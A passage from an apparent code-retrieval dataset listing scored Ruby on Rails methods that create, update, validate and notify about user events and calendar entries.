"text": "def update\n #if check_interval>0\n # render :json => { :errors => \"Cannot Book, buffer time of about #{current_user.buffer_time} minutes between meetings!\"}, status: :no and return\n #end\n\n respond_to do |format|\n if @event.update(event_params)\n\n event_id = @event.id\n event_is_confirmed = get_approval(@event.program_id)\n\n @events = Event.select(\"events.id, array_agg(user_events.user_id) client_id\")\n @events = @events.joins(\"INNER JOIN user_events ON user_events.event_id = events.id\")\n @events = @events.where(\"user_events.event_id = ?\", event_id).group('events.id').first\n\n old_user_events =@events[\"client_id\"]\n\n arr_client=params[:event][:client_id]\n arr_client.map! { |i| i.to_i }\n new_user_events = arr_client-old_user_events\n user_events_for_del = old_user_events-arr_client\n\n logger.debug old_user_events\n logger.debug arr_client\n logger.debug new_user_events\n logger.debug user_events_for_del\n\n\n\n new_user_events.each do |user|\n ue =UserEvent.new\n ue.user_id =user\n ue.event_id = @event.id\n ue.is_confirmed = event_is_confirmed\n ue.save\n end\n user_events_for_del.each do |user|\n #ue =UserEvent.where(\"user_id=? and event_id=? and is_confirmed=false\", user, @event.id).all()\n ue =UserEvent.where(\"user_id=? and event_id=? \", user, @event.id).all()\n ue.destroy_all\n end\n count_hours\n #@event = Event.select(\"events.*, color, array_agg(users.id) client_id\").joins(:program).joins(\"LEFT JOIN user_events ON user_events.event_id = events.id LEFT JOIN users ON users.id = user_events.user_id\").group('events.id, programs.color').find(@event.id)\n @event = SelectEventsData()\n @event = GroupEventsData(@event)\n @event = @event.find(event_id)\n\n format.html { redirect_to @event, notice: 'Event was successfully updated.' }\n format.json { render :show, status: :ok, location: @event }\n #format.json {render :json => { :errors => check_interval}, status: :no}\n else\n format.html { render :edit }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dc1b0083645eef74f215d40aa37699f6",
"score": "0.5290097",
"text": "def create_user_events\n UserEvent.create! event: self, user_id: self.user_id, status: UserEvent::statuses[:attending], user_role: UserEvent::user_roles[:owner]\n end",
"title": ""
},
{
"docid": "596dfd865d71255d2d837b5064cac6b9",
"score": "0.5272657",
"text": "def parse_event(calendar, user_href, old_calendar = nil)\n if old_calendar\n if old_calendar.is_a?(String)\n old_calendar = Tilia::VObject::Reader.read(old_calendar)\n end\n unless old_calendar.key?('VEVENT')\n # We only support events at the moment\n return []\n end\n\n old_event_info = parse_event_info(old_calendar)\n else\n old_event_info = {\n 'organizer' => nil,\n 'significant_change_hash' => '',\n 'attendees' => {}\n }\n end\n\n user_href = [user_href] unless user_href.is_a?(Array)\n\n if calendar\n if calendar.is_a?(String)\n calendar = Tilia::VObject::Reader.read(calendar)\n end\n\n unless calendar.key?('VEVENT')\n # We only support events at the moment\n return []\n end\n\n event_info = parse_event_info(calendar)\n if (!event_info['attendees'] || event_info['attendees'].empty?) &&\n (!old_event_info['attendees'] || old_event_info['attendees'].empty?)\n # If there were no attendees on either side of the equation,\n # we don't need to do anything.\n return []\n end\n\n if event_info['organizer'].blank? && old_event_info['organizer'].blank?\n # There was no organizer before or after the change.\n return []\n end\n\n base_calendar = calendar\n\n # If the new object didn't have an organizer, the organizer\n # changed the object from a scheduling object to a non-scheduling\n # object. We just copy the info from the old object.\n if event_info['organizer'].blank? && !old_event_info['organizer'].blank?\n event_info['organizer'] = old_event_info['organizer']\n event_info['organizer_name'] = old_event_info['organizer_name']\n end\n else\n # The calendar object got deleted, we need to process this as a\n # cancellation / decline.\n unless old_calendar\n # No old and no new calendar, there's no thing to do.\n return []\n end\n\n event_info = old_event_info.deep_dup\n\n if user_href.include?(event_info['organizer'])\n # This is an organizer deleting the event.\n event_info['attendees'] = {}\n\n # Increasing the sequence, but only if the organizer deleted\n # the event.\n event_info['sequence'] = event_info['sequence'].to_i + 1\n else\n # This is an attendee deleting the event.\n event_info['attendees'].each do |key, attendee|\n next unless user_href.include?(attendee['href'])\n\n event_info['attendees'][key]['instances'] = {\n 'master' => { 'id' => 'master', 'partstat' => 'DECLINED' }\n }\n end\n end\n\n base_calendar = old_calendar\n end\n\n if user_href.include?(event_info['organizer'])\n return parse_event_for_organizer(base_calendar, event_info, old_event_info)\n elsif old_calendar\n # We need to figure out if the user is an attendee, but we're only\n # doing so if there's an oldCalendar, because we only want to\n # process updates, not creation of new events.\n event_info['attendees'].each do |_, attendee|\n if user_href.include?(attendee['href'])\n return parse_event_for_attendee(base_calendar, event_info, old_event_info, attendee['href'])\n end\n end\n end\n\n []\n end",
"title": ""
},
{
"docid": "5bc66c42bfb3f52677b1a882e0db011a",
"score": "0.5258562",
"text": "def correct_user\n @event = Event.find(params[:id])\n redirect_to(events_path) unless current_user?(@event.user)\n end",
"title": ""
},
{
"docid": "5a62df21594946a77ef884873132f22c",
"score": "0.52308434",
"text": "def user_event(current_user)\n \tUserEvent.find_by(user: current_user, event_id: id)\n end",
"title": ""
},
{
"docid": "bcab9ef1442e250913a687d6b44bfd96",
"score": "0.52105063",
"text": "def brothers_events\n @user = User.find(params[:user_id])\n if @user.nil?\n @user = current_user\n render notice: 'Issue loading, Currently working on this feature'\n end\n end",
"title": ""
},
{
"docid": "060c0d2e79abb15c987848ccd3802749",
"score": "0.52062035",
"text": "def update_event_for_all_users(event=nil)\n # Ex. A supplier has an event selected that is currently closed.\n # Buyer reopens that event. The supplier logs in but he is still unable to import items \n # because the import link is only available when an event is open.\n # If you call this method after updating the event then the supplier will have the correct event data when he needs it. \n \n # REDIS.keys(\"selected_event*\").each do |key|\n # REDIS.set(key,Marshal.dump(event))\n # end\n \n end",
"title": ""
},
{
"docid": "b33cc168a85dccccc33d5a725fb6e66e",
"score": "0.52029395",
"text": "def avoid_duplicate_events\n if self.nigh_events.exists?\n errors.add(:occurs_at, \"Event (for #{occurs_at}, #{title}) occurs too close to other events.\")\n end\n end",
"title": ""
},
{
"docid": "3ff552b63bbcdd620bdf88dd23ef5e11",
"score": "0.51907134",
"text": "def update_event(token, payload, id, user = nil)\n request_url = \"/api/v2.0/\" << (user.nil? ? \"Me\" : (\"users/\" << user)) << \"/Events/\" << id\n\n update_event_response = make_api_call \"PATCH\", request_url, token, nil, payload\n\n JSON.parse(update_event_response)\n end",
"title": ""
},
{
"docid": "1db3a89ee176996e91a691cf85e43d63",
"score": "0.5188546",
"text": "def disable_users_from_inactivity_period_days\n @attributes[:disable_users_from_inactivity_period_days]\n end",
"title": ""
},
{
"docid": "1db3a89ee176996e91a691cf85e43d63",
"score": "0.5188381",
"text": "def disable_users_from_inactivity_period_days\n @attributes[:disable_users_from_inactivity_period_days]\n end",
"title": ""
},
{
"docid": "7dbf3e9acc87f770b9ad3035b78e6a55",
"score": "0.5186095",
"text": "def filter_events\n # Allow previous event assignments\n current_event_ids = (@participant.nil? ? Set.new : @participant.event_ids.to_set)\n # No idea why there's always a blank event being sent. ugh\n params[:participant][:event_ids].reject!(&:empty?)\n # Need to_i to convert strings to ints\n new_event_ids = params[:participant][:event_ids].map(&:to_i).to_set\n\n # Failed attempt at elegance\n events_to_add = new_event_ids - current_event_ids\n #logger.debug \"TO ADD EVENT ids: #{events_to_add.to_a}\"\n events_to_remove = current_event_ids - new_event_ids\n #logger.debug \"TO REMOVE EVENT ids: #{events_to_remove.to_a}\"\n\n events_to_add.each do |event_id|\n if current_organizer.can_edit_event? event_id\n current_event_ids = current_event_ids.add(event_id.to_i) #unless event_id.empty?\n end\n end\n\n events_to_remove.each do |event_id|\n if current_organizer.can_edit_event? event_id\n current_event_ids = current_event_ids.delete(event_id.to_i) #unless event_id.empty?\n end\n end\n\n #logger.debug \"SAVED EVENT ids: #{current_event_ids.to_a}\"\n params[:participant][:event_ids] = current_event_ids.to_a\n end",
"title": ""
},
{
"docid": "96bb296cbb33f405f0c393b87419c350",
"score": "0.51804614",
"text": "def subscriber_cannot_be_events_creator\n if event.user == user\n errors.add(:user, \"- #{I18n.t('activerecord.validations.error_same_user')}\")\n end\n end",
"title": ""
},
{
"docid": "d69d320919708e835714423dcbe57abf",
"score": "0.5174939",
"text": "def events\n Event.where(:user_id => self.id).order_by(:timestamp => -1)\n end",
"title": ""
},
{
"docid": "81baa5d522750a5fc320c11aadf2c40b",
"score": "0.51736665",
"text": "def chk_user_events(elist, event)\n elist.detect{|x| (x.eventstartdate == event.eventstartdate && x.eventstarttime == event.eventstarttime && x.event_name == event.event_name) || (x.eventid == event.eventid && x.eventstartdate == event.eventstartdate)}\n end",
"title": ""
},
{
"docid": "ac9c49fb78446c6334548e65999cb7b7",
"score": "0.51729286",
"text": "def declined\n \tuser = FacebookAccount.find_by_fb_id( current_user.identifier ).user\n event = FbGraph::Event.fetch(params[:id])\n result = event.declined!(:access_token => user.access_token)\n\n render :json => result.to_json\t\n end",
"title": ""
},
{
"docid": "e10eb00b091fb952d1cd1eee30165a02",
"score": "0.5171785",
"text": "def index\n @user = current_user\n @events = []\n @past_events = []\n user_events = current_user.events\n user_events.each do |event| \n if event.event_date >= Date.today\n @events << event\n else\n @past_events << event \n end\n end\n \n @my_events = Event.where(\"user_id = ?\", @user.id)\n end",
"title": ""
},
{
"docid": "2435320337904e276268c5494fdbf14d",
"score": "0.51713675",
"text": "def get_events(user_id)\n user = get_user user_id\n return [] if user.nil?\n\n event_class = ModelFabric.get_class(SocialFramework.event_class)\n\n unless user_id == @root.id\n query = \"social_framework_participant_events.schedule_id = ? AND \" +\n \"social_framework_participant_events.confirmed = ? AND \" +\n \"social_framework_events.particular = ?\"\n event_class.joins(:participant_events).where(query, user.schedule.id,\n true, false).order(start: :desc)\n else\n query = \"social_framework_participant_events.schedule_id = ? AND \" +\n \"social_framework_participant_events.confirmed = ?\"\n event_class.joins(:participant_events).where(query, user.schedule.id,\n true).order(start: :desc)\n end\n end",
"title": ""
},
{
"docid": "9efc0806de0b527e98c24e69e288f30c",
"score": "0.5169381",
"text": "def user_events(user, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "96bc44811f1e6f6f5b4b3adcc826611b",
"score": "0.5169208",
"text": "def destroy\n @event.user_ids.each do |user_id|\n @event.create_activity :cancel, owner: User.find_by_id(@event.owner), recipient: User.find_by_id(user_id)\n end\n @event.destroy\n respond_to do |format|\n format.html { redirect_to events_url, notice: 'Event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bbe05660f1865b224a586f1f9801ab57",
"score": "0.51655805",
"text": "def invalidate_liked_user(invalidator, user_id)\n invalidator.add_tracked_user(user_id, AlbumTypes::LIKED_USERS_ALBUMS_PUBLIC)\n end",
"title": ""
},
{
"docid": "e7f568b57eef56b780851e05cc46be6d",
"score": "0.5151729",
"text": "def correct_user\n @event = Event.find(params[:id])\n if current_user.attendees.creator_of_event(@event).blank?\n flash[:danger] = \"You can't edit someone else's event.\"\n redirect_to @event\n end\n end",
"title": ""
},
{
"docid": "30684ec51d2fbcb30d07d5d78b7f5ed2",
"score": "0.5147263",
"text": "def userevent_params\n params.require(:userevent).permit(:user_id, :event_id)\n end",
"title": ""
},
{
"docid": "9976606c1eb935d821722c8e09137e33",
"score": "0.51411396",
"text": "def update_attributes(attributes={}, user)\n Rails.logger.debug \"Call to event.update_attributes\"\n if self.valid? #Validate if the Article object is valid\n Rails.logger.debug \"The event is valid!\"\n\n #Create a raw Article object\n event_req = {\n 'name'=>attributes[\"name\"],\n 'starts'=>Util.datetime_to_epoch(attributes[\"start_date\"]+\" \"+attributes[\"start_time\"]),\n 'ends'=>Util.datetime_to_epoch(attributes[\"end_date\"]+\" \"+attributes[\"end_time\"]),\n 'location'=>attributes[\"location\"],\n 'description'=>attributes[\"description\"],\n 'volunteerPositions'=>nil,\n 'organizer'=>attributes[\"organizer\"],\n 'organizerEmail'=>attributes[\"organizer_email\"],\n 'institutionId'=>user['institutionId'],\n 'modified'=>Util.date_to_epoch(Time.now.strftime(I18n.t(:date_format_ruby))),\n 'created'=>Util.date_to_epoch(self.created)\n } \n reqUrl = \"/api/event/#{self.id}\" #Set the request url\n rest_response = MwHttpRequest.http_put_request(reqUrl,event_req,user['email'],user['password']) #Make the PUT request to the server with the required parameters\n Rails.logger.debug \"Response from server: #{rest_response.code} #{rest_response.message}: #{rest_response.body}\"\n if rest_response.code == \"200\" #Validate if the response from the server is 200, which means OK\n event = Event.rest_to_event(rest_response.body)\n return true, event #Return success\n else\n return false, \"#{rest_response.code}\", \"#{rest_response.message}\" #Return error\n end\n else\n Rails.logger.debug self.errors.full_messages\n return false, self.errors.full_messages #Return invalid object error\n end\n end",
"title": ""
},
{
"docid": "317aaddfaf614896b5487fd5133d8870",
"score": "0.5126587",
"text": "def update\n @user = User.find_by_id(params[:user_id])\n if !@user.nil?\n if is_current_user(@user)\n @event = current_user.events.find_by_id(params[:id])\n if @event.nil?\n flash[:error] = t(:event_not_found)\n return redirect_back_or_default( user_events_path(@user))\n end\n @event.place_id = params[:place_id] if params[:place_id]\n else\n flash[:error] = t(:not_allowed)\n return redirect_back_or_default(user_events_path(@user))\n end\n else\n flash[:error] = t(:user_not_found)\n return redirect_back_or_default()\n end\n\n respond_to do |format|\n if @event.update_attributes(params[:event])\n if @event.date <= Time.zone.now\n flash[:error] = t(:date_not_valid)\n return render action: \"edit\"\n end\n format.html { redirect_to user_event_path(@user, @event), :notice => t(:event_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "88bc9451d6f187ac0fd5a447938031ec",
"score": "0.51265055",
"text": "def original_user_data_transferring(new_user_id:)\n # Return if the user signs in N+ by this platorm first time since there won't be associated user record\n return if user.nil?\n\n original_user_id = user.id\n original_user = User.find(original_user_id)\n # Key is the association name, value is the foreign key name\n # { books: 'user_id', past_exams: 'uploader_id', ... }\n associations_hash = {}\n User.reflect_on_all_associations.each do |association|\n # Ignore association created by through(has_many through),\n # since those associations object caused by has_many through does not have that foreign_key\n # TODO: Add procedure to transfer data caused by belongs_to assoication\n next if association.through_reflection? || association.belongs_to?\n\n associations_hash[association.name.to_sym] = association.foreign_key\n end\n\n # Update the foreign key fieid of those associated records\n associations_hash.each do |key, value|\n update_filter_rule_hash = {}.tap { |filter| filter[value.to_sym] = original_user_id }\n update_attributes_hash = {}.tap { |attr| attr[value.to_sym] = new_user_id }\n original_user.public_send(key).try(:where, update_filter_rule_hash).try(:update_all, update_attributes_hash)\n end\n\n # Deal with special associations\n original_user.events.where(user_id: original_user_id).update_all(user_id: new_user_id)\n\n # Destroy original user record\n original_user.destroy\n end",
"title": ""
},
{
"docid": "7bc0b17c08a858a0318d452f17b56c41",
"score": "0.5123889",
"text": "def update\n event = Event.new(event_params)\n\n start_date = @event.start_date\n end_date = @event.end_date\n\n overlapping_events = Event.where(user: current_user)\n .where('? BETWEEN start_date AND end_date OR \n ? BETWEEN start_date AND end_date', \n start_date, end_date)\n\n print overlapping_events.to_a\n\n respond_to do |format|\n if event.end_date >= event.start_date and overlapping_events.to_a.empty? \n if @event.update(event_params)\n format.html { redirect_to @event, notice: \"Evento atualizado.\" }\n format.json { render :show, status: :ok, location: @event }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n else\n flash.now[:alert] = \"Há outro evento no mesmo horário ou a data de fim é anterior à de início\" \n format.html { render :edit, status: :unprocessable_entity}\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d58184cc49c758052e2c6a1a215a29f2",
"score": "0.5118106",
"text": "def track_event_with_http_info(user_id, track_event_body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: AppUserApi.track_event ...\"\n end\n # verify the required parameter 'user_id' is set\n if @api_client.config.client_side_validation && user_id.nil?\n fail ArgumentError, \"Missing the required parameter 'user_id' when calling AppUserApi.track_event\"\n end\n # verify the required parameter 'track_event_body' is set\n if @api_client.config.client_side_validation && track_event_body.nil?\n fail ArgumentError, \"Missing the required parameter 'track_event_body' when calling AppUserApi.track_event\"\n end\n # resource path\n local_var_path = \"/appusers/{userId}/events\".sub('{' + 'userId' + '}', user_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(track_event_body)\n auth_names = ['jwt']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'TrackEventResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AppUserApi#track_event\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "7c6efc6c0f52c1fcc5f81be596539d95",
"score": "0.5116062",
"text": "def migrate_events_after_login(user)\n previously_logged_in = current_event_publisher_user\n\n # Moving the events of the previosuly logged in user to the current user\n previously_logged_in.event_trackings.update_all(\n trackable_type: user.class.name,\n trackable_id: user.id\n )\n\n # Setting/overriding the cookies for the current user\n set_cookies_for(user)\n end",
"title": ""
},
{
"docid": "b98738d3dd6e985a758e59de3de24444",
"score": "0.50945204",
"text": "def received_event_outdated?(received_datum, existing_event)\n if !existing_event.persisted?\n return false # if there was no previous event, this is new data\n else\n received_event_updated_at = DateTime.parse(received_datum[\"UpdatedAt\"])\n return received_event_updated_at < existing_event.updated_at\n end\n end",
"title": ""
},
{
"docid": "76b7663967a4b1d40db91808560702c2",
"score": "0.50925547",
"text": "def update_events(force = false)\n return if new_record?\n \n original_values = MultiDayEvent.connection.select_one(\"select #{PROPOGATED_ATTRIBUTES.join(', ')} from events where id = #{self.id}\")\n for attribute in PROPOGATED_ATTRIBUTES\n original_value = original_values[attribute]\n new_value = self[attribute]\n RACING_ON_RAILS_DEFAULT_LOGGER.debug(\"MultiDayEvent update_events #{attribute}, #{original_value}, #{new_value}\")\n if force\n SingleDayEvent.update_all(\n [\"#{attribute}=?\", new_value], \n [\"parent_id=?\", self[:id]]\n )\n elsif original_value.nil?\n SingleDayEvent.update_all(\n [\"#{attribute}=?\", new_value], \n [\"#{attribute} is null and parent_id=?\", self[:id]]\n ) unless original_value == new_value\n else\n SingleDayEvent.update_all(\n [\"#{attribute}=?\", new_value], \n [\"#{attribute}=? and parent_id=?\", original_value, self[:id]]\n ) unless original_value == new_value\n end\n end\n end",
"title": ""
},
{
"docid": "78126f83bc85025413a42340755eeb40",
"score": "0.5092239",
"text": "def before\n user.events.where('timestamp < ? OR (timestamp = ? AND \"offset\" < ?)', self.timestamp, self.timestamp, offset)\n end",
"title": ""
},
{
"docid": "5886e4a71c4485645da015c2e39800f3",
"score": "0.508992",
"text": "def edit_event\n\t\treturn if not signed_in_response\n\t\treturn if not get_event\n\t\treturn if not user_admin\n\n\t\tevent_info_hash = {}\n\t\tevent_info_hash[:name] = params[:title] if params.has_key?(:title)\n\t\tevent_info_hash[:location] = params[:location] if params[:location]\n\t\tevent_info_hash[:description] = params[:description] if params[:description]\n\t\tevent_info_hash[:time] = params[:time].to_i if params[:time]\n\t\trval = @event.edit_event(event_info_hash)\n\n user_list = []\n\t\tif params[:user_list] != nil\n\t\t\t@event.reload\n\t\t\tuser_list_p = params[:user_list].strip\n\t\t\tuser_list_p = user_list_p[1..-1] if user_list_p.start_with?(',')\n\t\t\tuser_list_temp = params[:user_list].split(',').map do |email|\n\t\t\t\tuser = User.find_by(email: email.strip)\n\t\t\t\tif not user\n\t\t\t\t\trespond(ERR_INVALID_FIELD)\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\tuser.id\n\t\t\tend\n user_list |= user_list_temp\n end\n \n\t\tif params[:group_list] != nil\n\t\t\tgroup_list_p = params[:group_list].strip\n\t\t\tgroup_list_p = group_list_p[1..-1] if group_list_p.start_with?(',')\n\t\t\tgroup_list_p.split(\",\").each do |group_id|\n\t\t\t\tbegin\n\t\t\t\t\tgroup = Group.find(group_id.strip)\n rescue ActiveRecord::RecordNotFound\n\t\t\t\t\trespond(ERR_INVALID_FIELD)\n\t\t\t\t\treturn\n\t\t\t\tend\n\t\t\t\tuser_list |= group.user_list\n\t\t\tend\n\t\tend\n\n if not user_list.empty?\n\t\t\tcurr_party_list = @event.party_list\n\t\t\tuser_list.delete_if { |user_id| curr_party_list.has_key?(user_id) }\n\n\t\t\t@event.add_user_list(user_list)\n\t\t\t@event.add_to_user_event_lists(user_list)\n\t\t\t@event.notify( EventNotification.new(NOTIF_NEW_EVENT, @event), user_list)\n\t\tend\n\n\t\trespond(rval)\n\tend",
"title": ""
},
{
"docid": "49a2c9c2df8b14151e5963cdce6664bc",
"score": "0.508644",
"text": "def created_events\n Event.where(user_id: object.id)\n end",
"title": ""
},
{
"docid": "d304cefba4f5a9c0a1ff1c9a751c204a",
"score": "0.5086401",
"text": "def update\n respond_to do |format|\n if @event.creator != current_user\n format.js { flash.now[:error] = \"You don't have permission to change that event\" }\n else\n old_participant_ids = @event.participant_ids\n \n if @event.update(event_params)\n new_participant_ids = @event.participant_ids\n added_participant_ids = new_participant_ids - old_participant_ids\n removed_participatn_ids = old_participant_ids - new_participant_ids\n added_participant_ids.each do |p|\n @event.notifications.create(user_id: p)\n end\n removed_participatn_ids.each do |p|\n binding.pry\n Notification.where(user_id: p, event_id: @event.id).destroy_all\n end \n format.html { redirect_to root_path, notice: \"Event was successfully updated.\" } \n format.js { flash.now[:notice] = \"Event was successfully updated.\" }\n else\n format.html render :edit, status: :unprocessable_entity \n format.js { flash.now[:error] = \"Event update unsuccessful.\" }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "7e79f54e3a8b57b1c0ac7c4690d3f3b3",
"score": "0.5077048",
"text": "def before_save(event)\n if event.device_id < 0 or event.device == nil\n raise \"#{event.class.to_s}: device_id = #{event.device_id} is invalid\"\n else\n users = event.device.users\n users.each do |u|\n \t\t #spoof the user_id so the email will be sent properly \n event[:user_id] = u.id\n \t\t CriticalMailer.deliver_non_critical_caregiver_email(event)\n CriticalMailer.deliver_non_critical_caregiver_text(event) \t\t\n end\n end\n end",
"title": ""
},
{
"docid": "6b60b6f2b531fedee6926e64a626c20a",
"score": "0.50698763",
"text": "def watcher_user_ids_with_uniq_ids=(user_ids)\n if user_ids.is_a?(Array)\n user_ids = user_ids.uniq\n end\n send :watcher_user_ids_without_uniq_ids=, user_ids\n end",
"title": ""
},
{
"docid": "f0554ee738db51b1d1a338b63a466a21",
"score": "0.50608766",
"text": "def set_user_event\n @user_event = UserEvent.find(params[:id])\n end",
"title": ""
},
{
"docid": "f0554ee738db51b1d1a338b63a466a21",
"score": "0.50608766",
"text": "def set_user_event\n @user_event = UserEvent.find(params[:id])\n end",
"title": ""
},
{
"docid": "f6245f816fc7e6429c3752062a4a101b",
"score": "0.5057738",
"text": "def clear_on_user_change\n if persisted? && user_id_changed?\n notices.clear\n [ :declined_at, :declined_by_user, :decline_comment, :renew_until,\n :renewal_confirmed_at, :renewed_by_membership ].each do |field|\n self.send \"#{field}=\", nil\n end\n end\n true\n end",
"title": ""
},
{
"docid": "e2601f96e017d1f805f26dd72ad10345",
"score": "0.5050294",
"text": "def scope_to_appeal(events)\n return events unless appeal.prior_decision_date\n\n events.reject { |event| event.date < appeal.prior_decision_date }\n end",
"title": ""
},
{
"docid": "186b72a53b3581f4fcbd1a0360b533e2",
"score": "0.50485563",
"text": "def notify_event(user_id, event_name, opts = {})\n path = \"/api/v1/#{api_key}/#{MESSAGES_TYPES[:custom_event]}/?s=#{user_id}\"\n path += \"&n=#{event_name}&\"\n # path += \"&v=#{opts[:value]}\" if opts[:value]\n # path += \"&l=#{opts[:level_id]}\" if opts[:level_id]\n # path += \"&st1=#{opts[:st1]}\" if opts[:st1]\n # path += \"&st2=#{opts[:st2]}\" if opts[:st2]\n # path += \"&st3=#{opts[:st3]}\" if opts[:st3]\n path += opts.to_query\n call_api(path)\n end",
"title": ""
},
{
"docid": "c44f0ba8f73cf23a56c63cdbf4de6999",
"score": "0.5048399",
"text": "def set_user_event\n @user_event = current_user.user_events.find(params[:id])\n end",
"title": ""
},
{
"docid": "6d6dcf7a638dbc7a87c0a10f50a3c758",
"score": "0.504721",
"text": "def set_user_event_info\n @user_event_info = UserEventInfo.find(params[:id])\n end",
"title": ""
},
{
"docid": "3b76669a89f75ec92aa185a398bca789",
"score": "0.50441784",
"text": "def issue_events(user, repo_name)\n event_data = @connection.get(\"/repos/#{user}/#{repo_name}/issues/events\", params)\n GitHubApi::Event.new_with_all_data(self, event_data)\n rescue RestClient::ResourceNotFound\n raise NotFound, \"The events #{user}/#{repo_name}/events/#{id} do not exist or are not visible to the user.\"\n end",
"title": ""
},
{
"docid": "9306ed4de56032c48e46e9d853e97daa",
"score": "0.50436354",
"text": "def create_out_of_band_user_event(event_type)\n create_event_for_device(event_type: event_type, user: current_user, device: nil)\n end",
"title": ""
},
{
"docid": "fdd5c1a63ecf73c547ef670db1953882",
"score": "0.5043341",
"text": "def update\n @user_at_event = UserAtEvent.find(params[:id])\n\n respond_to do |format|\n if @user_at_event.update_attributes(params[:user_at_event])\n format.html { redirect_to @user_at_event, notice: 'User at event was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_at_event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7d78496d3e3752ccd7c7e97480699762",
"score": "0.504117",
"text": "def patch_collecting_decorating_bug\n @users_affected = @users.select {|user| user.custom_attributes[\"Collecting/Decorating\"] != nil}\n if @users_affected.count > 0\n puts \"#{@users_affected.count} users affected for Collecting/Decorating fix\"\n @users_unaffected = @users.select {|user| user.custom_attributes[\"Collecting/ Decorating\"] != nil}\n puts \"#{@users_unaffected.count} users unaffected for Collecting/Decorating fix\"\n @users_affected.each do |user|\n user.custom_attributes[\"Collecting/ Decorating\"] = user.custom_attributes[\"Collecting/Decorating\"]\n user.custom_attributes[\"Collecting/Decorating\"] = nil\n #$intercom.users.save(user)\n end\n get_intercom_users\n puts \"#{@users_affected.count} users left to fix\"\n puts \"#{@users_unaffected.count} users consolidated post fix\"\n else\n puts \"No users affected for Collecting/Decorating fix\"\n end\nend",
"title": ""
},
{
"docid": "d5890edeb3dbf58b07bf432a94590c5c",
"score": "0.50372005",
"text": "def unset_kyc_duplicate_status_of_previous_users\n dup_user_ids = []\n dup_user_ids += UserKycDuplicationLog.using_client_shard(client: @client).where(\n user1_id: @duplicate_user_ids, status: GlobalConstant::UserKycDuplicationLog.active_status).pluck(:user1_id)\n dup_user_ids += UserKycDuplicationLog.using_client_shard(client: @client).where(\n user2_id: @duplicate_user_ids, status: GlobalConstant::UserKycDuplicationLog.active_status).pluck(:user2_id)\n\n filtered_non_duplicate_user_ids = @duplicate_user_ids - dup_user_ids\n\n if filtered_non_duplicate_user_ids.present?\n UserKycDetail.using_client_shard(client: @client).where(user_id: filtered_non_duplicate_user_ids).\n update_all(\n kyc_duplicate_status: GlobalConstant::UserKycDetail.was_kyc_duplicate_status,\n updated_at: current_time\n )\n UserKycDetail.using_client_shard(client: @client).bulk_flush(filtered_non_duplicate_user_ids)\n end\n end",
"title": ""
},
{
"docid": "3d6d93d09377f523c156e6d54da396f0",
"score": "0.5036086",
"text": "def create\n @event = Event.new(event_params)\n\n if current_user.type_user == USER_TYPE_PARENT\n @event.user_id = current_user.id\n elsif current_user.type_user == USER_TYPE_NORMAL\n if params[:event][:user_id]\n @event.user_id = params[:event][:user_id].to_i\n else\n respond_to do |format|\n format.html\n format.json { render json: {:error => \"Missing params user_id\"}, :status => :bad_request }\n end\n return\n end\n end\n\n if @event.type_event == 'weekly'\n @event.days_of_week = params[:event][:days_of_week]\n end\n\n #debugger\n respond_to do |format|\n if @event.save\n start_time = event_params[:start_time].to_datetime\n repeat_interval = params[:event][:repeat_interval].to_i\n\n if @event.type_event == 'daily'\n @eventMeta = EventMeta.new(:event_id => @event.id, :repeat_start => start_time,\n :repeat_interval => repeat_interval*INTERVAL_DAILY, :user_id => @event.user_id)\n @eventMeta.save\n elsif @event.type_event == 'weekly'\n days_of_week = params[:event][:days_of_week]\n\n days_of_week.each do |interval|\n time_start = get_date_from_number(@event.start_time, interval)\n @eventMeta = EventMeta.new(:event_id => @event.id, :repeat_start => time_start,\n :repeat_interval => repeat_interval, :user_id => @event.user_id)\n @eventMeta.save\n end\n end\n\n #debugger\n #date_response = {\n # id: @event.id,\n # title: @event.title,\n # type_event: @event.type_event,\n # content: @event.content,\n # created_at: @event.created_at,\n # updated_at: @event.updated_at,\n # start_time: @event.start_time,\n # end_time: @event.end_time\n #}\n\n format.html\n format.json { render :json => @event.query_event(DateTime.now.end_of_month, @event.start_time), status: :created, location: @event }\n else\n format.html\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "881c67bf02eccce121358a6a7205a61f",
"score": "0.5031565",
"text": "def notify_event(user_id, event_name, opts = {})\n path = \"/api/v1/#{api_key}/#{MESSAGES_TYPES[:custom_event]}/?s=#{user_id}\"\n path += \"&n=#{event_name}\"\n path += \"&v=#{opts[:value]}\" if opts[:value]\n path += \"&l=#{opts[:level_id]}\" if opts[:level_id]\n path += \"&st1=#{opts[:st1]}\" if opts[:st1]\n path += \"&st2=#{opts[:st2]}\" if opts[:st2]\n path += \"&st3=#{opts[:st3]}\" if opts[:st3]\n path += \"&data=#{Base64.encode64(opts[:data].to_json)}\" if opts[:data]\n call_api(path)\n end",
"title": ""
},
{
"docid": "c3f42b7e44f539e6dee4c987564615d8",
